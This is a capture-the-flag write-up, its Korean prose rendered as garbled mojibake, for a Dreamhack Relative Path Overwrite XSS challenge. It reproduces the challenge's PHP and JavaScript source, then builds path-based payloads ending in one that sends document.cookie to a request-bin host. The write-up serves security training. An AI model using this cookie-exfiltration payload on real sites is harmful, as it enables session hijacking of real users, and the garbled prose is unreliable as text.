1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/440
2. ํด๊ฒฐ ๊ณผ์
๊ธฐ๋ณธ์ ์ธ ์ฝ๋๋ Relative Path Overwrite์ ๊ฑฐ์ ๋์ผํ๋ค.
index.php์ ์ฝ๋์ด๋ค.
GET๋ฐฉ์์ผ๋ก page๋ฅผ ๋ฐ๊ณ , ์ด page์ ..์ด๋ : ๋๋ / ์ด ํฌํจ๋๋์ง ํ์ธํ๋ค.
ํฌํจ๋์ด ์์ง ์๋๋ค๋ฉด ํด๋น ํ์ผ์ include ํ๋ค.
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>Relative-Path-Overwrite-Advanced</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">Relative-Path-Overwrite-Advanced</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=vuln¶m=dreamhack">Vuln page</a></li>
<li><a href="/?page=report">Report</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/><br/>
<div class="container">
<?php
$page = $_GET['page'] ? $_GET['page'].'.php' : 'main.php';
if (!strpos($page, "..") && !strpos($page, ":") && !strpos($page, "/"))
include $page;
?>
</div>
</body>
</html>
report.php
<?php
if(isset($_POST['path'])){
exec(escapeshellcmd("python3 /bot.py " . escapeshellarg(base64_encode($_POST['path']))) . " 2>/dev/null &", $output);
echo($output[0]);
}
?>
<form method="POST" class="form-inline">
<div class="form-group">
<label class="sr-only" for="path">/</label>
<div class="input-group">
<div class="input-group-addon">http://127.0.0.1/</div>
<input type="text" class="form-control" id="path" name="path" placeholder="/">
</div>
</div>
<button type="submit" class="btn btn-primary">Report</button>
</form>
vuln.php์ ์ฝ๋์ด๋ค.
์ฌ๊ธฐ์ pram์ผ๋ก url์ ๋ฐ์์จ๋ค.
filter.js ํ์ผ์ด ๋ก๋๋์ง ์๋ ๋ฑ์ ์ด์ ๋ก filter๊ฐ undefined ๋๊ฑฐ๋ ํํฐ๋ง์ ๊ฑธ๋ฆฌ๋ฉด "nope !!" ์ ์ถ๋ ฅํ๋ค.
ํํฐ๋ง์ ํต๊ณผํ๋ฉด id๊ฐ param์ธ <pre></pre> ํ๊ทธ์์ innerHTML๋ก ์ฝ์ ๋๋ค.
๋ฐ๋ผ์, ์ด๋ฅผ ์ด์ฉํ๋ฉด dom based xss๊ฐ ๋ฐ์ํ ์ ์์ ๊ฒ์ด๋ค.
<script src="filter.js"></script>
<pre id=param></pre>
<script>
var param_elem = document.getElementById("param");
var url = new URL(window.location.href);
var param = url.searchParams.get("param");
if (typeof filter === 'undefined') {
param = "nope !!";
}
else {
for (var i = 0; i < filter.length; i++) {
if (param.toLowerCase().includes(filter[i])) {
param = "nope !!";
break;
}
}
}
param_elem.innerHTML = param;
</script>
filter.js
script ํ๊ทธ, onerror ๋ฑ์ ์ด๋ฒคํธ ํธ๋ค๋ฌ ๋ฑ์ ํํฐ๋ง ํ๊ณ ์๋ค.
์ด์ ๋ฌธ์ ์ ๋ค๋ฅธ ์ ์ filter.js๊ฐ static ๋๋ ํ ๋ฆฌ ์์ ์๋ค๋ ๊ฒ์ด๋ค. ๋ฐ๋ผ์ ํด๋น ํ์ผ์ ๊ฒฝ๋ก๋ฅผ ์กฐ์ํ๋ ๊ฒ์ ์ด๋ ต๋ค.
var filter = ["script", "on", "frame", "object"];
404.php
filter.js๋ฅผ ์๋ชป ์์ฒญํ์ ๋ (์ฆ, ํ์ผ์ด ์กด์ฌํ์ง ์๊ฑฐ๋ ๊ฒฝ๋ก๊ฐ ์๋ชป๋์ด ์ฐพ์ ์ ์์ ๋) not found๋ฅผ ๋ฐํํ๋ค.
<?php
header("HTTP/1.1 200 OK");
echo $_SERVER["REQUEST_URI"] . " not found.";
?>
ํ์ฌ nope!! ์ด ๋จ๋ ์ด์ ๋ vuln ํ์ด์ง์์ /filter.js ์ ๋ํ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋์์ง๋ง, ํ์ผ ๊ฒฝ๋ก๊ฐ ์๋ชป๋์ด ํ์ผ์ ์ฐพ์ ์ ์๋ ๊ฒ์ด๋ค. ๊ฐ๋ฐ์๋๊ตฌ๋ฅผ ๋ณด๋ฉด filter.js๋ผ๋ ์ด๋ฆ์ ํ์ผ์ด ๋ก๋๋์ด ์๊ณ , ํ์ผ๊ฒฝ๋ก๊ฐ ์๋ชป๋จ์ ๋ฐ๋ผ 404.php๊ฐ ๋ก๋๋์ด ๊ทธ ๊ฒฐ๊ณผ๊ฐ filter.js๋ก ๋ฎ์ด์์์ง ๊ฒ์ ๋ณผ ์ ์๋ค.
๋ฐ๋ผ์ 404.php๋ฅผ ์ด์ฉํด filter.js์ ๋ด์ฉ์ ๋ฎ์ด์ฐ๋๋ก ํ ๊ฒ์ด๋ค.
URL ์์ฒญ์์ /๊ณผ //๋ ๊ฐ์ ๊ฒ์ผ๋ก ํด์๋๋ค.
์ค๋ฅ๊ฐ ์๋๋ก ์คํ๋๊ธฐ ์ํด์ /๋ฅผ ๋๋ฒ ์จ์ ์์ฒญํด์ค๋ค.
/index.php/hihi//?page=vuln¶m=dreamhack
ํด๋น ์์น์ ์คํฌ๋ฆฝํธ ๋ฌธ์ด ์คํ๋๋๋ก alert(1)์ ๋ฃ์ผ๋ฉด
/index.php/alert(1);//?page=vuln¶m=dreamhack
์คํ๋์ง ์๋๋ค. ๊ทธ ์ด์ ๋ ์์ ์ ๋ ฅ๊ฐ๊ณผ ์ด์ด์ง๊ธฐ ๋๋ฌธ์ด๋ค. ๋ฐ๋ผ์ ;๋ฅผ ํจ๊ป ์ ๋ ฅํ์ฌ ์คํฌ๋ฆฝํธ๋ฌธ์ด ์คํ๋๋๋ก ํด์ผ ํ๋ค.
alert(1)์ ์ฑ๊ณต์ ์ผ๋ก ์คํํ์๋ค.
/;alert(1);//?page=vuln¶m=dreamhack
๋๋ฆผํต request.bin์ ์ด์ฉํด์ ์ฟ ํค๊ฐ์ ํ์ทจํ์๋ค.
๋ฐ๋ผ์ report ํ์ด์ง์์ location.href ๋ฅผ ์ด์ฉํด์ ์๋ฒ์ ์ฟ ํค๊ฐ์ ๋ณด๋ด๋๋ก ํ์๋ค.
index.php/;location.href='https://sehmurj.request.dreamhack.games/'+document.cookie;//?page=vuln¶m=dreamhack
์ฑ๊ณต